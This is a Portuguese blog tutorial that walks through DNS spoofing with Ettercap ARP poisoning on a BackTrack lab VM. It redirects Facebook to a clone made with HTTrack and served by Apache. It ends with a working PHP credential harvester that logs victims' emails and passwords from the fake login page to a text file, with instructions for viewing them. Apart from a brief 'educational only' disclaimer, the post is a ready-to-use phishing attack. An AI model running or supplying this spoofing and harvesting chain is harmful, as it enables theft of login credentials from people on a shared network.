terça-feira, 18 de fevereiro de 2014

DNS Spoofing – Ettercap

Main_the_middle
Objetivo
Explicar como funcionam ferramentas de clonagem de site, ataques MITM, entre outros.
Introdução
Este post tem como objetivo explicar e demonstrar como utilizar ferramentas de segurança para o bem. Logo, qualquer tipo de uso incorreto não será de responsabilidade de quem vos escreve.
Cenário
Será utilizado 2 VM, sendo uma rodando BackTtrack R5 e Windows XP. Você poderá baixar o Back Track R5 em seu site: http://www.backtrack-linux.org/downloads/, e a aplicação para virtualizar essas máquinas será o VirtualBox que pode ser baixado em seu site: https://www.virtualbox.org/wiki/Downloads.
Observações iniciais
Todas as ferramentas utilizadas são livre, exceto o Windows XP.
Não estarei explicando como instalar nem configurar as máquinas virtuais e/ou os S.O, caso queira entre em contato comigo ou pesquise.
O intuito deste tutorial é educativo, uma forma de demonstrar a fragilidade de uma rede, sendo vetado o uso para prejudicar ou obter dados ilegalmente.
Caso tenha dúvidas, entrar em contato comigo para que eu possa ajudar.
Ferramenta
Ettercap é uma livre e de código aberto de segurança de rede ferramenta para man-in-the-middle em LAN . Ele pode ser usado para o computador de protocolo de rede de análise e segurança de auditoria.
Ele é capaz de interceptar o tráfego de um segmento de rede, capturando senhas e conduzindo escutas ativo contra um certo número de protocolos comuns.
Funcionalidade
Ettercap funciona colocando a interface de rede em modo promíscuo e por envenenamento ARP nas máquinas alvo. Assim, ele pode atuar como um “homem no meio” e desencadear vários ataques sobre as vítimas. Ettercap tem suporte a plugins, de modo que os recursos podem ser estendido adicionando novos plugins.
Características
  • Ettercap suporta dissecação ativa e passiva de muitos protocolos (inclusive cifrados) e oferece muitos recursos para análise de rede e host. Ettercap oferece quatro modos de operação:
  • Baseada em IP: pacotes são filtrados com base em IP de origem e de destino.
  • MAC-based: pacotes são filtrados com base no endereço MAC , útil para farejar conexões através de um gateway.
  • ARP -based: usa envenenamento ARP para farejar em uma LAN comutada entre dois hosts (full-duplex).
  • PublicARP-based: usa envenenamento ARP para farejar em uma LAN comutada de um host vítima de todos os outros hosts (half-duplex).
  • Além disso, o software também oferece os seguintes recursos:
  • Injeção personagem em uma conexão estabelecida: caracteres pode ser injetado em um servidor (emulando comandos) ou para um cliente (emulando respostas) mantendo uma ligação ao vivo.
  • SSH1 apoio: o sniffing de um nome de usuário e senha, e mesmo os dados de uma conexão de SSH1. Ettercap é o primeiro software capaz de farejar um SSH conexão em full duplex.
  • HTTPS apoio: o sniffing de HTTP SSL segura de dados, mesmo quando a conexão é feita através de uma procuração.
  • Tráfego remoto através de um GRE túnel: o sniffing de tráfego remoto através de um túnel GRE de um controle remoto Cisco roteador , e realizar um man-in-the-middle sobre ele.
  • Plug-in de apoio: criação de plugins personalizados usando ettercap API .
  • Coletores de senha para: TELNET , FTP , POP , IMAP , rlogin , SSH1 , ICQ , SMB , MySQL , HTTP , NNTP , X11 , Napster , IRC , RIP , BGP , SOCKS 5 , IMAP 4 , VNC , LDAP , NFS , SNMP , Half-Life , Quake 3 , MSN , YMSG.
  • Filtragem de pacotes / soltar: a criação de um filtro que procura por uma determinada seqüência (ou sequência hexadecimal) no TCP ou UDP payload e substitui-lo com uma seqüência personalizada / seqüência de escolha, ou descarta o pacote inteiro.
  • OS fingerprinting : determinar o sistema operacional do host vítima e seu adaptador de rede.
  • Matar uma conexão: matando ligações de escolha a partir da lista de conexões.
  • Digitalização passivo da LAN : recuperação de informações sobre os hosts da LAN, suas abertas as portas , os números de versão dos disponíveis serviços , o tipo de host ( porta de entrada , roteador ou simples PC ) e distâncias estimadas em número de saltos.
  • Sequestro de DNS pedidos.
Site oficial: http://ettercap.github.io/ettercap/
Instalação dos pacotes
Ao término da instalação do BTK (Back Track), em sua máquina virtual criada, inicie a mesma.
Entre como superusuário (root), lembrando se for a primeira vez que você utiliza o BTK, a senha do root será toor. Caso queira trocar depois fique a vontade.
Iremos instalar o ettercap, para realizarmos esta tarefa, abra o Shell de comando.
Imagem 1
Imagem 1
Agora iremos utilizar o comando:
# apt-get install ettercap
O comando acima irá instalar o pacote do ettercap. Por default o BTK não vem com esse pacote instalado, logo podemos utilizar o APT para instalar ou baixar o pacote atualizado dentro do site do mantedor.
Lembrando que para que você instale qualquer pacote no BTK, você terá que ter acesso a Internet.
Imagem 2
Imagem 2
Se tudo der certo, poderemos configurar.
Se quiser saber mais sobre a versão e outras informações sobre o pacote, execute:
# dpkg -l ettercap
Imagem 3
Imagem 3
Sintaxe do comando
# ettercap [OPTIONS] [TARGET 1] [TARGET 2]
Opções:

-M        --mitm <METHOD:ARGS> --> realizar um ataque mitm
-O        --only-mitm --> não farejar, apenas executar o ataque MITM
-B        --bridge <IFACE> --> usar ponte farejar (precisa de 2 ifaces)
-p        --nopromisc --> não colocar a inteface de rede no modo promisc
-u        --unoffensive --> não encaminhar pacotes
Agora iremos Spoofar o DNS da rede, fazendo com que todas as requisições a os sites informados nos navegadores passem por dentro do nosso servidor.
Exemplo:
Caso o usuário queira acessar o site da unicarioca, poderemos redirecionar o mesmo para uma página fake dentro do nosso BTK. Neste caso, será apresentado uma ferramenta para clonar sites.
Primeiramente, teremos que localizar o arquivo etter.dns.
Este arquivo irá conter todos os site que desejamos “assumir” como sendo o original. A partir disso qualquer navegador que tentar entrar acessar o site configurado dentro do arquivo informado, será redirecionado para a página fake, redirecionado para outra, ou negado acesso.
Para configurar o arquivo que irá conter os sites, utilizaremos o editor de texto para modo texto VIM. Este editor por padrão vem nativo com o sistema. Mas primeiro teremos que localizar o arquivo.
# updatedb
# locate etter.dns
# vim /usr/local/share/ettercap/etter.dns
Imagem 4
Imagem 4
Iremos editar o seguinte arquivo: etter.dns.
O mesmo está localizado em: /usr/local/share/ettercap/etter.dns.
# vim /usr/local/share/ettercap/etter.dns
Imagem 5
Imagem 5
Para que possamos configurar o etter.dns teremos que entender o funcionamento do arquivo de configuração.
A configuração do arquivo é dividido em 3 partes.
  • Nome do endereço.
  • Tipo de resource records (RRs).
  • Endereço IP.
Nome do endereço
Iremos definir quais sites serão redirecionados. Dentro do arquivo já existe alguns exemplos de sites já configurados. Caso queira manter esses, basta apenas não apagar as linhas.
Tipo de registro DNS
O Sistema de Nomes de Domínio é um banco de dados distribuído. Isso permite um controle local dos segmentos do banco de dados global, embora os dados em cada segmento estejam disponíveis em toda a rede através de um esquema cliente-servidor.
  • Arquitetura hierárquica
  • Distribuída eficientemente, sistema descentralizado e com cache.
  • O principal propósito é a resolução de nomes de domínio em endereços IP e vice-versa
Resouce Records
Os dados associados com os nomes de domínio estão contidos em Resource Records ou RRs (Registro de Recursos), podendo ser:
  • SOA Indica onde começa a autoridade a zona.
  • NS Indica um servidor de nomes para a zona.
  • A Mapeamento de nome a endereço (IPv4).
  • AAAA Mapeamento de nome a endereço (IPv6).
  • MX Indica um mail exchanger para um nome (servidor de email).
  • CNAME Mapeia um nome alternativo (apelido ou indireção).
  • TXT Campo de texto livre.
  • PTR É utilizado em zonas reversas, para fazer o mapeamento reverso, ou seja, o mapeamento de um número IP para um nome. Ao criar um registro do tipo A, em uma zona direta, você pode criar, automaticamente, o registro PTR associado, se já houver uma zona reversa configurada.
Endereço IP
O IP (Internet Protocol) é o principal protocolo de comunicação da Internet. Ele é o responsável por endereçar e encaminhar os pacotes que trafegam pela rede mundial de computadores.
Entendimento do arquivo
Um exemplo do arquivo de configuração etter.dns.
Nome do endereço
RRs
IP
*.microsoft.com
A
198.182.196.56
www.microsoft.com
PTR
198.182.196.56
No exemplo acima, esta configurando para que quando qualquer usuário quiser acessar o site da Microsoft será redirecionado para o IP informado no final da linha, neste caso o IP será 198.182.196.56.
Você pode configurar para qualquer IP.
Obs:
Fazendo um comparativo com o Windows, o mesmo possui um arquivo chamado de hosts localizado dentro de %systemroot%\system32\drives\etc\hosts, e dentro deste arquivo podemos configurar as mesma informações que iremos configurar aqui, sendo que para este caso, irá funcionar somente na máquina que você configurar.
Agora iremos configurar o site que queremos que seja redirecionado para o nosso servidor.
Para isso iremos ter que escolher o alvo. Neste exemplo irei configurar o site do Facebook para que quando o usuário acesse na rede através de seu navegador seja redirecionado para uma página qualquer.
Logo após a última linha da Microsoft, de um <enter> e coloque conforme a seguir:
Nome do endereço
RRs
IP
facebook.com
A
192.168.1.115
*.facebook.com
A
192.168.1.115
www.facebook.com
PTR
192.168.1.115
Imagem 6
Imagem 6
Note que no IP, informei o meu IP (192.168.1.115). Salve as configurações feitas.
Para saber seu IP no Linux, abra outro terminal e digite:
# ifconfig
Imagem 7
Imagem 7
Para iniciarmos o teste, teremos que digitar:
# ettercap -T -q -M arp -i eth0 -P dns_spoof //
Onde:

 -T --> Modo texto.
 -q --> Execução em modo promiscuo.
 -M --> Redirecionamento MITM (Man in the Middle).
 -I --> Interface de rede que será utilizada.
 -P --> Plugin utilizado.
Imagem 8
Imagem 8
Ao executar o comando acima, você irá fazer um spoof na rede toda, assim todos que quiserem acessar o site do Facebook não irão conseguir.
A imagem a seguir mostra o erro que irá acontecer quando o usuário quiser acessar o site.
Antes de rodar o comando.
Imagem 9
Imagem 9
Depois de rodar o comando.
Imagem 10
Imagem 10
Motivo?
R: Estamos informando que o site do Facebook encontrasse dentro do nosso computador e neste caso não é verdade.
Idéia:
Configurar o Apache para atender a solicitação.
As tentativas são exibidas na tela.
Imagem 11
Imagem 11
O BTK já vem com o apache configurado.
Para habilitar o serviço execute o seguinte comando:
# /etc/init.d/apache2 restart
Imagem 12
Imagem 12
O usuário quando tentar novamente acessar a página configurada irá ser exibida a seguinte tela.
Imagem 13
Imagem 13
Lembrando que esta página pode ser configurada, bastando o usuário saber um pouco de HTML.
Pergunta:
Mas não seria obvio que alguém teria feito algo de errado? Não seria mais interessante redirecionar para uma página parecida com o do Facebook?
Resposta:
Sim, evidente que qualquer usuário irá verificar um problema ao tentar acessar a página e acharia suspeito e não tentaria novamente. Sim, irei mostrar uma ferramenta utilizada para clonar uma página da internet.
Página Fake
Páginas fakes são páginas não verdadeiras, isto é, páginas que não são de origens verdadeiras.
Ferramentas – Httrack
Podemos utilizar diversas ferramentas, mas nesse tutorial irei explicar o HTTrack.
HTTrack é um web crawler livre e de código aberto e também navegador offline, desenvolvido por Xavier Roche e licenciado sob a GNU General Public License.
Permite o download de sites da World Wide Web da Internet para um computador local. Por padrão, o HTTrack organiza o site baixado pela sua estrutura original. O website baixado (ou “copiado”) pode ser pesquisado através da abertura de uma página do site em um navegador.
O HTTrack pode também atualizar um site copiado existente e recomeçar downloads interrompidos. HTTrack é totalmente configurável por opção e por filtros (incluir/excluir) e possui um sistema integrado de ajuda. Existe uma versão de linha de comandos básicos e duas versões GUI (WinHTTrack e WebHTrack); o primeiro pode ser parte de scripts.
O HTTrack usa um web crawler para fazer download de um website. Algumas partes do site não podem ser transferidas, por padrão, devido ao protocolo de exclusão de robôs, a não ser que seja desabilitado durante o programa.
HTTrack pode seguir links que são gerados com JavaScript básico e dentro de Applets ou Flash, mas não ligações complexas (geradas usando funções ou expressões).
Este por sua vez, não é nativo do BTK R5, logo teremos que instalar. Execute o comando a seguir:
# apt-get update
# apt-get upgrade
# apt-get install httrack
Imagem 14
Imagem 14
Pressione Y para instalar.
Pronto, agora que o pacote foi instalado poderemos começar.
Primeiro iremos criar um diretório onde irá conter os sites clonados.
# mkdir /root/websites
Agora iremos entrar dentro do diretório.
# cd /root/websites
Em seguida iremos utilizar o Httrack para realizar a cópia. Lembrando que irei utilizar ele de maneira simplificada. Na bibliografia informei um bom vídeo que explica melhor a outra maneira.
# httrack https://facebook.com
# ls -l
Imagem 15
Imagem 15
O comando ls irá listar o conteúdo do diretório, a opção -l irá exibir em uma forma mais detalhada. Dentro dele você irá encontrar o arquivo referente à página do facebook.
Diante dessas informações, iremos colocar dentro de /var/www/ os arquivo da página do facebook, este caminho irá ser utilizado pelo apache para exibir a página fake.
Execute o seguinte comando:
# cd ..
# cp -rp websites/* /var/www/
# chmod +x -R /var/www/
OBS.:
O site do Facebook teve algumas modificações como: Se deixar da maneira informado acima, a barra de endereços irá ficar gigantesca. Para que fique algo mais real, você terá que copiar o conteúdo da pasta www.facebook.com para dentro de /var/www/. Somente assim irá funcionar perfeitamente.
Nos comandos acima, saímos do diretório atual e em seguida copiamos o conteúdo para o /var/www.
Agora temos que reiniciar o serviço do apache.
# /etc/init.d/apache2 restart
A partir de agora, todas as solicitações feitas ao site do Facebook será redirecionada para está página fake.
Obs.:
O Ettercap funciona como um sniffer de rede também, logo você poderá capturar senhas não criptografadas pela rede. Isso claro vai depender de como o site transmite o login e senha.
Plus – Idéias extras…
Nesta etapa irei dar algumas idéias, mas lembrando que tudo informado neste tutorial é para apenas aprendizado, e que qualquer ato de vandalismo, roubo ou algo que leve a um ato não permitido, você será responsável.
1º Idéia
Para que sabe um pouco de linguagem para web (PHP, HTML, Java Script), podemos alterar a action do formulário de login e senha, podendo enviar o usuário para outra página na internet, evitando assim que ele acesse o site que é proibido pela empresa.
2º Idéia
Podemos alterar a action do login e senha para que seja enviado para um outro arquivo em PHP, capturando assim usuário e senha da vítima.
Para realizar este procedimento:
Crie um arquivo chamado enviar_msg.php e dentro deste arquivo deverá conter as seguintes linhas:
# vim enviar_msg.php
# chmod +x enviar_msg.php
<?
 $email = $_POST[“email”];
 $senha = $_POST[“pass”];
 $msg = “<br>”;
 $msg .= “<font color=#000000> <b> E-mail: </b> $email </font><br>”;
 $msg .= “<font color=#000000> <b> Senha: </b> $senha </font><br>”;
 $msg .= “<br>”;
 $msg .= “<font color=#000000> ................................................................. </font>”;
 $ponteiro = fopen (“mensagens.txt”, ”a”);
 fwrite($ponteiro, “$msg\n\n”);
 fclose ($ponteiro);
 echo "<script>javascript:document.location='index.html' </script>"; // Essa linha irá retornar para a mesma página.
 ?>
Na página do facebook (índex.html), deveremos realizar algumas alterações.
Primeiro vamos ter que localizar os action e alterar para enviar_msg.php, se não me engano, existem 2 actions dentro do índex.html do facebook, o método utilizado para envio será o post.
Em seguida teremos que criar o arquivo de texto que irá receber as senhas digitadas.
# > mensagens.txt
# chmod 777 mensagens.txt
OBS:
Não se esqueça de dar permissão de execução ao arquivo php e de gravação ao arquivo de texto.
Para visualizar, recomendo que você gere um HTML do arquivo de texto que contem as senhas.
# cp mensagens.txt mensagens.html
Depois acesse com seu navegador até o arquivo HTML. Abra o navegador e digite:
/var/www/mensagens.html
Bibliografia:
Sites:
Vídeo
http://www.youtube.com/watch?v=7-lcprEmLe0
Fonte :http://www.mundotibrasil.com.br

0 comentários:

Postar um comentário